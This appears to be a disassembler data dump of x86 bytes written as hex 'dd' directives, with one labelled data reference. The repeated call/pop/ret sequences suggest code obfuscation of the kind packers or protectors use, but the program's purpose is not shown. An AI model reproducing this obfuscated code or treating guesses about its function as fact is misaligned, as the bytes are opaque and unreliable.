		dd 1D042444h, 45000000h, 0E82CC355h, 36F3CA69h,	16E4345Eh
		dd 96579FBBh, 55BD831Ch, 622B2h, 5B840Fh, 6A0000h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h
		dd 0A764D5C3h, 0B589CF16h, 61F30BDh, 1BED8D89h,	45E9061Fh
		dd 6A000000h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 19042444h, 40000000h, 0CFC5C350h, 8D6F4461h,	89F98B66h
		dd 1F2E1D9Dh, 0C305006h, 11440011h, 10E8C101h, 2114430h
		dd 3114C00h, 4E98358h, 36EBE775h, 11043050h, 1116400h
		dd 3010E8C1h, 21144h, 58031164h, 7504E983h, 501BEBE7h
		dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h
		dd 0E77504E9h, 0C08B00EBh, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 16h, 0EEC35545h, 6A8D1Ch, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 160424h, 51410000h, 0AF6D55C3h
		dd 5B79BB66h, 1890Fh, 83FC0000h, 1F137DBDh, 850F0306h
		dd 48Ah, 0B255BD83h, 0F000622h,	47D84h,	0FFFFB300h, 22B255B5h
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1C04h
		dd 0C3564600h, 5A4F764Ah, 25925D14h, 0FAE7816Ah, 0FF4979CFh
		dd 1F1BC995h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1504h, 0C3574700h, 0B58BD652h, 622B249h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 87C35747h, 0AE98Bh
		dd 76170000h, 0EA95A952h, 6AA6809Bh, 5EC3EF81h,	6C73C8Ah
		dd 10001h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 1Bh,	0BEC35242h, 0F2494C20h,	96ADBED4h, 1A850Fh, 830F0000h
		dd 14h,	0FE9h, 0FB9CBB00h, 0A35C5CE7h, 76C22E1h, 0A8844ECh
		dd 12E950h, 37240000h, 0BE0DC183h, 0C2FDBE24h, 6B005FF2h
		dd 30EFDA33h, 5DC78196h, 0FF107638h, 22B255B5h,	55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1804h, 0C3554500h
		dd 0BF28ACE4h, 12E900h,	45150000h, 286D446Fh, 3543A3F6h
		dd 4AF9E0F7h, 63C6555h,	162195FFh, 6A061Fh, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 190424h, 52420000h, 198F7CC3h
		dd 8B76D9B0h, 22B249B5h, 5820F06h, 66000000h, 1A8EDB81h
		dd 2FF1858Bh, 6A061Fh, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 170424h, 53430000h, 26968EC3h, 13E9E2h, 5B090000h, 99E32D10h
		dd 18636C9Eh, 2F9F3896h, 0FF405BD9h, 0C4868940h, 0F000000h
		dd 281h, 8BDC8A00h, 1F0B5D95h, 8D895706h, 61F080Dh, 4C2835Fh
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 8AC35646h
		dd 0C936E454h, 8564C305h, 0BB6651A1h, 895FF12Dh, 0BD8B2050h
		dd 61F15A9h, 0C797858Dh, 0BD0B0622h, 61F0F05h, 0B88689h
		dd 95290000h, 61F2B85h,	7E9006Ah, 0DA000000h, 8F30A108h
		dd 0B5FF5D8Dh, 622B255h, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 15h, 4CC35545h, 85BD29C8h,	0FF061F2Bh, 1F2F5595h
		dd 55006A06h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1504h
		dd 0C3554500h, 0D380EA46h, 0F5096DCh, 48Eh, 0F5BB6600h
		dd 6A966Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h
		dd 56460000h, 0B50EE8C3h, 0F1248726h, 0E983019Bh, 14h
		dd 0AE0F928Fh, 56411DECh, 11825318h, 3ECFFC22h,	0C74B40A7h
		dd 0B255B5FFh, 6A0622h,	3E851h,	59200000h, 4C8959C3h, 44810424h
		dd 150424h, 51410000h, 66F143C3h, 8B67C5BBh, 1F2DE9BDh
		dd 1D95FF06h, 6A061F0Eh, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 19042444h, 40000000h, 0F3BAC350h,	71C02BA6h
		dd 2C0DBD83h, 0F00061Fh, 3C84h,	56006A00h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1404h,	0C3564600h, 2D952989h
		dd 31061F02h, 1F19C19Dh, 0BF669606h, 605049BFh,	0AAFB90B9h
		dd 89966139h, 1F074D8Dh, 55B5FF06h, 6A0622B2h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 19042444h, 42000000h
		dd 10AAC352h, 118BD202h, 2BA19D8Bh, 95FF061Fh, 61F1349h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 17h, 0EEC35242h
		dd 81889AF3h, 7039E3CFh, 859D0B0Fh, 0FF061F2Dh,	22B255B5h
		dd 0FE806h, 0DE620000h,	0ACFA62DEh, 22F2B766h, 0A5ED581Fh
		dd 2830F6Dh, 0B3000000h, 95FF5BEAh, 61F1075h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 58C35242h, 13A17D09h
		dd 83321F7Ch, 1F0009BDh, 840F0206h, 5Eh, 0E852006Ah, 3
		dd 5AC35A20h, 4245489h,	4244481h, 17h, 66C35242h, 0E863FBA8h
		dd 6, 0D6E5742Ch, 8DBF26ABh, 5F4F94F9h,	8BFBB70Fh, 1F175185h
		dd 859D8B06h, 0C6061F07h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 140424h, 55450000h, 85C784C3h, 61F1291h
		dd 0
		dd 2EFD9589h, 3BE9061Fh, 0B7FFFFF2h, 41BD8BE4h,	8B061F1Dh
		dd 68B0FC1h, 8B000000h,	1F24259Dh, 14E95606h, 79000000h
		dd 1609D34Eh, 0E4812029h, 76E3D48Dh, 884CB1F6h,	5BEBCD22h
		dd 19BD858Dh, 6A061Fh, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1A0424h, 51410000h, 72C8ABC3h, 5C18F9AEh, 12859D8Bh
		dd 6650061Fh, 8996BCBBh, 0BD232404h, 61F1F25h, 6A006Ah
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h
		dd 9C6712C3h, 77DB67E7h, 6A2F69h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 19h, 30C35242h, 6382657Bh, 40858DD6h
		dd 8906241Ah, 1F2BFD9Dh, 5C08306h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Ch, 0B1C35141h,	3FF519FAh, 0A5DFDFF9h
		dd 2F3D8589h, 0B790061Fh, 6A905018h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 15042444h, 42000000h, 4074C352h
		dd 11D9BD89h, 6A061Fh, 6A006AF8h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1A042444h, 47000000h, 0DAA0C357h
		dd 0FFDC86DEh, 499D8BCCh, 0FF061F0Ah, 1F016195h, 0DF8B6606h
		dd 0B1F28D8Dh, 0D98B0622h, 9D23D1FFh, 61F02CDh,	0EF5BD83h
		dd 0F01061Fh, 7F85h, 41858900h,	6A061F00h, 52006A02h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1904h, 0C3524200h
		dd 98D3AF82h, 0B390CC58h, 0D88B5035h, 56006A90h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1404h, 0C3564600h
		dd 0FE8B66D0h, 0C9DB8166h, 5595FFA5h, 6A061F2Fh, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1D042444h, 47000000h
		dd 0EB87C357h, 548CC48Eh, 95C304D6h, 0DB2E9h, 0E800h, 815D0000h
		dd 241A4AEDh, 0B58B6006h, 61F0E39h, 0D27296BBh,	0DEBF6147h
		dd 8D512CAAh, 228EE485h, 81665206h, 5BD964F7h, 8F33BB90h
		dd 905048C2h, 2CE18D89h, 9D8B061Fh, 61F1221h, 35FF64h
		dd 6A000000h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1C042444h, 43000000h, 640AC353h, 0A2FAE0A2h,	66D1A4A6h
		dd 8964FE8Bh, 25h, 4BF6600h, 2985FF46h,	6A061F10h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 18042444h, 46000000h
		dd 0BF8EC356h, 89C95716h, 1F0D499Dh, 66FF6A06h,	693BCB81h
		dd 2D01B5FFh, 0F6B3061Fh, 1CED95FFh, 2BE9061Fh,	66000001h
		dd 0B0DA8Bh, 7AF38166h,	8B70E6C6h, 1F2AAD9Dh, 8B71E406h
		dd 1F15B9BDh, 0F613C06h, 10983h, 0DDBD8B00h, 0E8061F07h
		dd 0Fh,	98331175h, 0E7EE73B8h, 617763D9h, 0E803AE1Ch, 0Fh
		dd 0D52B31AEh, 851D88ADh, 43101100h, 666CDFD0h,	79D4F381h
		dd 0B60F5B5Fh, 0EAA2BBC8h, 6BA12B9h, 0F000000h,	0C18BFFB7h
		dd 4135BB66h, 0BB04E8C1h, 5B522E5Ch, 0E9E2F766h, 10h, 700EBDD5h
		dd 26100E9Dh, 0A720DFB4h, 65871D82h, 8BFCC82Bh,	398D89D1h
		dd 0E8061F16h, 11h, 67F5B171h, 0FF64AD39h, 0A7571484h
		dd 0FC0FD0D3h, 5B5B56AAh, 75E9h, 0FBBF0F00h, 4C4C858Bh
		dd 0E381505Fh, 3AC4AB43h, 107C083h, 1F0B31BDh, 0C08306h
		dd 0D03BF88Ah, 11830Fh,	0BD2B0000h, 61F0665h, 45E9h, 958D8900h
		dd 8B061F23h, 0FFFFFF8Dh, 0D98589FFh, 89061F10h, 1F16E9BDh
		dd 1E18306h, 24840Fh, 0BD290000h, 61F2D0Dh, 0FFFFA583h
		dd 89FEFFFFh, 1F31C1B5h, 4C958906h, 81505F4Ch, 0D1BC54CFh
		dd 0E925h, 0B58D0000h, 6239AFBh, 0E855006Ah, 3,	5DC35D20h
		dd 4246C89h, 4244481h, 18h, 3DC35545h, 0ADB5CF59h, 11718589h
		dd 6A061Fh, 0E857006Ah,	3, 5FC35F20h, 4247C89h,	4244481h
		dd 1Dh,	7AC35747h, 8E244E30h, 86E3E4EFh, 25BD034Fh, 56061F02h
		dd 68E0Fh, 0BD0B0000h, 61F0A71h, 4595FF5Bh, 6A061F1Dh
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 14042444h
		dd 47000000h, 0F6BC357h, 0A80h,	5E900h,	5B170000h, 0B9D891D6h
		dd 1074h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 16h,	0DC35646h, 0DF81CB4Dh, 1E9B9929h, 0E8FCE183h, 7
		dd 685F3AFh, 5FFBC4DBh,	52006AFCh, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1C04h, 0C3524200h, 9BBAF30Eh, 694CC070h
		dd 81666066h, 8951D6E2h, 1F236D95h, 0AE86106h, 4F000000h
		dd 2ABC2803h, 0BFEF6F76h, 5BD8B41h, 5B061F03h, 8D31C02Bh
		dd 61F13D9h, 6AD22Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 150424h, 55450000h, 8BCDA7C3h, 0C233ADF9h, 0D003E8D1h
		dd 7504E983h, 6AF98BF4h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 18042444h, 42000000h, 5A9BC352h, 66662108h
		dd 880DFA8Bh, 6A000000h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1A042444h, 41000000h, 8F80C351h, 0FABE6B5Dh
		dd 5D958B10h, 89061F0Bh, 1F0EE58Dh, 0C58D8B06h,	6A061F20h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 18042444h
		dd 40000000h, 8CBFC350h, 8BE540C1h, 1F208D9Dh, 0C28B5006h
		dd 0C103188Bh, 0C18B188Bh, 0C203E8D1h, 6058188Bh, 61F9EE80h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 19h, 9BC35141h
		dd 1D86AB9h, 85295322h,	61F19B1h, 8DBD835Bh, 61F07h, 36840Fh
		dd 0CE90000h, 0BB000000h, 0B57315ABh, 0B6417D69h, 0F54CE2F3h
		dd 0B8h, 12D6BB00h, 9D8B7633h, 61F2E15h, 4DB08D8Dh, 0E781061Fh
		dd 262B2C3Fh, 0BD8BE1FFh, 61F2ACDh, 137DBD83h, 0F00061Fh
		dd 51784h, 999D8B00h, 83061F05h, 1F137DBDh, 840F0106h
		dd 51Fh, 0E852006Ah, 3,	5AC35A20h, 4245489h, 4244481h
		dd 14h,	0FAC35242h, 0CC28BF66h,	0C860Fh, 8A0F0000h, 6
		dd 1F259D8Bh, 0BD83061Fh, 61F137Dh, 0AA860F03h,	6A000004h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1B042444h
		dd 45000000h, 0DECCC355h, 51588380h, 13E89FA1h,	5F000000h
		dd 5D03326Ch, 0A374C237h, 9AA47139h, 9393B073h,	0F88B2E04h
		dd 12E95Fh, 2C470000h, 21CF85D2h, 1EF6ADE3h, 971BF5DDh
		dd 0C2D9B9Dh, 53006A60h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1A04h, 0C3534300h, 32D0A030h, 8B1E42FFh, 1F2AF59Dh
		dd 0D98C6606h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 15h,	47C35141h, 4E1809Ah, 1F3D9D89h,	0C90A061Fh, 13A840Fh
		dd 10E80000h, 0E6000000h, 98090D9Ah, 0C1A589BEh, 7F16D7DFh
		dd 5FBD5489h, 0DC1858Bh, 6A061Fh, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 160424h, 56460000h, 0A64A20C3h, 0BD8B6060h
		dd 61F1619h, 2C89B589h,	6161061Fh, 2EC98533h, 6A061Fh
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h
		dd 82B07CC3h, 9E697400h, 0FE9787Ch, 98000000h, 0F60973A9h
		dd 77442952h, 56BCD408h, 0E990CBADh, 10h, 0E47FDBEFh, 2FD0B3B3h
		dd 64669B00h, 6CC4EE3Eh, 6A9050h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1B0424h, 57470000h
		dd 0E44EF0C3h, 4EF00750h, 0D59D8BE4h, 6A061F23h, 0BE800h
		dd 0EDD80000h, 20703B25h, 0CC3C0BCEh, 0AE9F7h, 0ECC0000h
		dd 2B0C1371h, 0D60993A6h, 0D752685Bh, 34812FC8h, 0D7D4AD24h
		dd 61B5012Fh, 0FF061F02h, 1F2DE195h, 55858906h,	6A0622B2h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 16042444h
		dd 47000000h, 0DF32C357h, 38B0F1Eh, 0F000000h, 0E3E9FEB7h
		dd 0BF000001h, 753CD64Ah, 0B24D858Bh, 6A0622h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h
		dd 0F3EE7C3h, 0BFCBD7FAh, 135E7D57h, 1800C7h, 0DF8B0000h
		dd 0B251B58Bh, 6A0622h,	3E856h,	5E200000h, 74895EC3h, 44810424h
		dd 190424h, 56460000h, 0D43F3AC3h, 9737795h, 1F161195h
		dd 0A1858B06h, 89061F13h, 1F126D8Dh, 6A068906h,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 14042444h, 41000000h
		dd 8B4EC351h, 1F0DC185h, 50006A06h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1B04h, 0C3504000h, 0D411FC6Ch, 0EC4B6757h
		dd 28D0Fh, 2AB70000h, 0E9044689h, 12h, 40991D34h, 0FEC604Dh
		dd 6EA7ECD8h, 0F33C607Dh, 66968E80h, 503567BBh,	60CE8B60h
		dd 0B8665850h, 61612283h, 57006A96h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1704h,	0C3574700h, 0A95A228Fh
		dd 51BD8Bh, 0B5FF061Fh,	622B24Dh, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 15h, 0E9C35040h,	9DBD8BD5h, 68061F32h
		dd 0D55FE098h, 67240481h, 0E92ABF23h, 9, 6CC4EE3Eh, 0BDFBA221h
		dd 55858DC4h, 6A0622B2h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 14042444h, 40000000h, 8B83C350h, 48950F8h
		dd 51006A24h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1D04h
		dd 0C3514100h, 93BF31DAh, 0CAB4F3B0h, 0B5294D50h, 61F0A81h
		dd 2DE195FFh, 6A061Fh, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1A0424h, 55450000h, 9866B7C3h, 3841A775h, 2DAD9589h
		dd 0F781061Fh, 41E0717Ch, 1A09BD89h, 6A61061Fh,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 19042444h, 41000000h
		dd 0EAAC351h, 0EC778867h, 2C25BD8Bh, 9D03061Fh,	61F1AEDh
		dd 137D85C7h, 3061Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1B0424h, 51410000h, 3029C6C3h, 0D0391007h
		dd 11E9B5h, 0A17B0000h,	5E748FA1h, 69C1C76Ah, 0CB929381h
		dd 83DD5ABEh, 22B255BDh, 840F0006h, 65h, 0E850006Ah, 3
		dd 58C35820h, 4244489h,	4244481h, 1Ch, 0B5C35040h, 0FCCD0D16h
		dd 5ADA54E0h
		db 0E8h, 9
word_580046	dw 0			; DATA XREF: ___:off_427A80o
					; ___:00427A88o ...
		dd 0C5D42F00h, 0DBC60F3Ah, 0BD2B6084h, 61F2C09h, 42E95Bh
		dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h
		dd 57470000h, 9A47BBC3h, 0CB0113B4h, 8B466A47h,	0C3050FAh
		dd 11440011h, 10E8C101h, 2114430h, 3114C00h, 4E98358h
		dd 36EBE775h, 11043050h, 1116400h, 3010E8C1h, 21144h, 58031164h
		dd 7504E983h, 501BEBE7h, 2810E8C1h, 30031164h, 58021144h
		dd 1116428h, 83110430h,	0E77504E9h, 0C08B00EBh,	10E9h
		dd 28296E00h, 71F59312h, 76D58A28h, 0A70A2B80h,	52006AACh
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1B04h, 0C3524200h
		dd 0D8F9EEADh, 4CA1CC26h, 0BD83DF8Bh, 61F137Dh,	0C4850F03h
		dd 81000003h, 0D18DB6D3h, 55BD8335h, 622B2h, 3B1840Fh
		dd 0B5FF0000h, 622B255h, 28E0Fh, 0F98A0000h, 1BC995FFh
		dd 6A061Fh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h
		dd 51410000h, 8555EAC3h, 4849D208h, 30BF6661h, 49B58BCCh
		dd 6A0622B2h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1A042444h, 46000000h, 556FC356h, 0EC6D80A8h,	0E38166EAh
		dd 0CB81194Fh, 2A58C963h, 106C7h, 0E8960001h, 13h, 0C2AECD37h
		dd 456E7F85h, 254467CAh, 0C63062ECh, 508F4756h,	0FB8B6652h
		dd 6160310Fh, 505B585Ah, 310F5250h, 0FBF6652h, 585A5F6Bh
		dd 55006A96h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1904h
		dd 0C3554500h, 887CCE4Bh, 9D8B6E72h, 61F0755h, 0B255B5FFh
		dd 5EB30622h, 162195FFh, 6A061Fh, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1D0424h, 57470000h, 9548BDC3h, 45D8AE03h
		dd 814A34B4h, 0AEF81CDBh, 49B58B33h, 500622B2h,	10E9h
		dd 73034800h, 4843484Bh, 5224122Bh, 95528ABFh, 858B5F25h
		dd 61F2FF1h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 18h,	8CC35242h, 33A7F752h, 0C48689h,	0BD0B0000h, 61F0EF9h
		dd 0B5D958Bh, 9D8B061Fh, 61F10F9h, 8B04C283h, 1F02599Dh
		dd 20508906h, 0C797858Dh, 6A0622h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 180424h, 50400000h, 6A3ADEC3h, 0BD0B68DBh
		dd 61F134Dh, 132D8D31h,	8689061Fh, 0B8h, 0E856006Ah, 3
		dd 5EC35E20h, 4247489h,	4244481h, 1Bh, 0FAC35646h, 494DCBD7h
		dd 6A203DB1h, 8B0F6000h, 1, 0C18CBEF5h,	0FF6162A9h, 22B255B5h
		dd 0DFBF0F06h, 2F5595FFh, 6A061Fh, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 140424h, 52420000h, 9D8B8EC3h, 61F24ADh
		dd 1EB76050h, 24348961h, 0E852006Ah, 3,	5AC35A20h, 4245489h
		dd 4244481h, 19h, 62C35242h, 0F1890211h, 0F4BB6646h, 55B5FFE2h
		dd 0FF0622B2h, 1F0E1D95h, 52006A06h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1A04h,	0C3524200h, 98615BA8h
		dd 83BBF2A6h, 1F2C0DBDh, 840F0006h, 5Bh, 0E857006Ah, 3
		dd 5FC35F20h, 4247C89h,	4244481h, 1Ah, 1CC35747h, 0D6A31B61h
		dd 0BF0F3309h, 4CB396D9h, 8830F50h, 60000000h, 2D06B966h
		dd 9661E88Ah, 0E851006Ah, 3, 59C35920h,	4244C89h, 4244481h
		dd 15h,	9CC35141h, 65BD8B47h, 0FF061F20h, 22B255B5h, 6810F06h
		dd 29000000h, 1F08CD8Dh, 4995FF06h, 66061F13h, 0B5FFF98Bh
		dd 622B255h, 1069BD8Bh,	95FF061Fh, 61F1075h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 55C35545h, 2655157Dh
		dd 162C4B27h, 832FDF80h, 1F0009BDh, 840F0206h, 73h, 17890Fh
		dd 0BE80000h, 4000000h,	1D713063h, 0C9C53D34h, 95896D0Ah
		dd 61F2D05h, 51858B5Fh,	6A061F17h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 18042444h, 47000000h, 0BF7AC357h
		dd 8B62EA22h, 1F079DBDh, 0C606h, 0E857006Ah, 3,	5FC35F20h
		dd 4247C89h, 4244481h, 19h, 0DBC35747h,	927F594Dh, 0C19D8B1Fh
		dd 0C7061F0Fh, 1F129185h, 6, 1DBD0B00h,	0E9061F0Dh, 0FFFFF2F9h
		dd 0C18BFD8Ah, 8DFA8B66h, 1F19BD85h, 0BE906h, 85C90000h
		dd 9A5C2534h, 60BDBF3Bh, 0F8BF0F7Ch, 58F0F90h, 0BF000000h
		dd 1F5F25F3h, 9033B350h, 7399D89h, 6A061Fh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 15h, 0C5C35242h, 0F006A21h
		dd 128Eh, 0DE900h, 2F890000h, 3F4EED63h, 84A02498h, 8D37EF17h
		dd 2429A985h, 9E806h, 20260000h, 22AB32E4h, 810FC85Eh
		dd 3A4C75D7h, 0C0835F6Ah, 56006A05h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1904h,	0C3564600h, 0AFBF1DEAh
		dd 9D0341B6h, 61F0FE1h,	840F5090h, 4, 0D9A1BB66h, 99BD3190h
		dd 6A061F2Fh, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1A04h, 0C3564600h, 6ED727B2h, 0F7E93ADh, 683h, 0DB58900h
		dd 6A061F11h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1404h, 0C3574700h, 358D8961h, 0FF061F2Ch, 1F016195h
		dd 48D0F06h, 66000000h,	8DE53DBBh, 22B1F28Dh, 0FFF98A06h
		dd 0F5BD83D1h, 1061F0Eh, 77850Fh, 6A0000h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 160424h, 57470000h, 1BA6E3C3h
		dd 23659D33h, 26A061Fh,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Dh, 0BAC35545h, 5DD7AC01h, 0D3FF49E3h, 0BDBD3368h
		dd 89061F32h, 1F123185h, 6E99006h, 53000000h, 0D3827505h
		dd 8B90509Dh, 1F0E2D9Dh, 5595FF06h, 0B061F2Fh, 1F0FC19Dh
		dd 0E72E906h, 0E80000h,	5D000000h, 29B3ED81h, 0B5010624h
		dd 61F2FF5h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Bh,	0A1C35747h, 839791EFh, 8BCF3061h, 1F2DF99Dh, 0FE906h
		dd 0EAFF0000h, 0D4E6BDBDh, 0AC4BC82h, 0EF3B6A1Ah, 0E4858D4Bh
		dd 8B06228Eh, 1F0D999Dh, 10E85006h, 5A000000h, 8EC80718h
		dd 2A894D8Bh, 0D736DD1h, 0E9244548h, 5,	969D48B5h, 4895FABh
		dd 52006A24h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1704h
		dd 0C3524200h, 0AC71B135h, 1D119D8Bh, 0FF64061Fh, 35h
		dd 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1904h
		dd 0C3514100h, 0EB700C6Ah, 10E86911h, 9B000000h, 0FB683753h
		dd 85F74023h, 7FCD8E12h, 8B1486E6h, 1F1A05BDh, 0DD8A5B06h
		dd 258964FCh, 0
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 16h, 0ADC35242h
		dd 0F5084E1h, 186h, 0BB5FF500h,	6342179Bh, 102985FFh, 6A061Fh
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h
		dd 7FCD8EC3h, 0D9D38166h, 6AFF6A1Ah, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 14042444h, 41000000h, 8B0CC351h
		dd 65B5FFD8h, 89061F08h, 1F19CD95h, 0ED95FF06h,	0E9061F1Ch
		dd 192h, 862DCF81h, 0B05D7Bh, 5770E6F9h, 2C199D8Bh, 0E45F061Fh
		dd 14E971h, 0E8F60000h,	18FE8083h, 20C2EB6Bh, 0DB1B960h
		dd 0DE9D32Eh, 613C43D6h, 15C830Fh, 0BD8B0000h, 61F00B9h
		dd 60C8B60Fh, 5899509h,	8D23061Fh, 61F0D7Dh, 6BA61h, 0AE90000h
		dd 94000000h, 56BDED60h, 85BD42ACh, 0BBC18BE0h,	1EC36672h
		dd 6004E8C1h, 0C55B58Bh, 0F61061Fh, 681h, 0C59D8B00h, 66061F1Eh
		dd 14E8E2F7h, 9C000000h, 844C0DAFh, 0EF014F03h,	94290271h
		dd 0B4330D74h, 8B5BB98Ah, 1F05F9BDh, 880F5F06h,	4, 0F7D9BB66h
		dd 9D29C82Bh, 61F13B5h,	9D8BD18Bh, 61F3095h, 0D1E9h, 0F9BF0F00h
		dd 0FE9h, 0D7B51900h, 0BDA4822Ch, 8C981707h, 65169DC8h
		dd 554C858Bh, 0B5894947h, 61F31C1h, 0E807C083h,	11h, 0DC06AC1Ah
		dd 89833F7Fh, 8B6269B0h, 0FADC1301h, 0A0F38066h, 0C0835Bh
		dd 3BF6EF80h, 43830FD0h, 0E9000000h, 0Eh, 0FBA6C3FFh, 0AF920F1h
		dd 9373CB3Dh, 10E947E4h, 5C000000h, 8F744E00h, 89AB2F01h
		dd 4FAC5988h, 0E901CD30h, 56h, 0FE960h,	9E580000h, 0E20A1C9Dh
		dd 5BD465BDh, 21681DFDh, 8D8B61C6h, 0FFFFFFFFh,	6850Fh
		dd 9D330000h, 61F0E75h,	0F01E183h, 2584h, 830FB300h, 0FFFFFFA5h
		dd 800FFEFFh, 6, 2599589h, 9589061Fh, 4947554Ch, 3FDF8166h
		dd 0E927h, 0B58D0000h, 623AB6Fh, 0E852006Ah, 3,	5AC35A20h
		dd 4245489h, 4244481h, 19h, 0EFC35242h,	7CEEE6D7h, 999D8BA8h
		dd 6A061F24h, 14E800h, 0F8A40000h, 0EFAB8536h, 551348FBh
		dd 171B7534h, 0BE10B64Ch, 8B665B31h, 95FF5FD8h,	61F1D45h
		dd 0F7AB9h, 11E900h, 4F6B0000h,	37BE1E79h, 2D0A896Dh, 0B305F9C5h
		dd 83A0B182h, 6AFCE1h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1C0424h, 50400000h, 9E067C3h, 51F573D5h, 56FC17D4h
		dd 11E5BD31h, 0B85F061Fh, 0
		dd 0D01EBF66h, 6AD22Bh,	3E857h,	5F200000h, 7C895FC3h, 44810424h
		dd 140424h, 57470000h, 33ADA3C3h, 3E8D1C2h, 4E983D0h, 6AF475h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h
		dd 8DBDFAC3h, 0E9600813h, 0Bh, 3546DE1Ah, 16506D9Ch, 6A094BF2h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 18042444h
		dd 45000000h, 42EAC355h, 8B9CB89Bh, 880DFEh, 840F0000h
		dd 0
		dd 0B5D958Bh, 6A061Fh, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1A0424h, 52420000h, 26ED6BC3h, 274238Fh, 20C58D8Bh
		dd 8B50061Fh, 3188BC2h,	8B188BC1h, 3E8D1C1h, 58188BC2h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 0DDC35545h
		dd 63A16D1Fh, 0BB664DFFh, 6A3816h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1D0424h, 55450000h, 40912EC3h, 553A4B95h
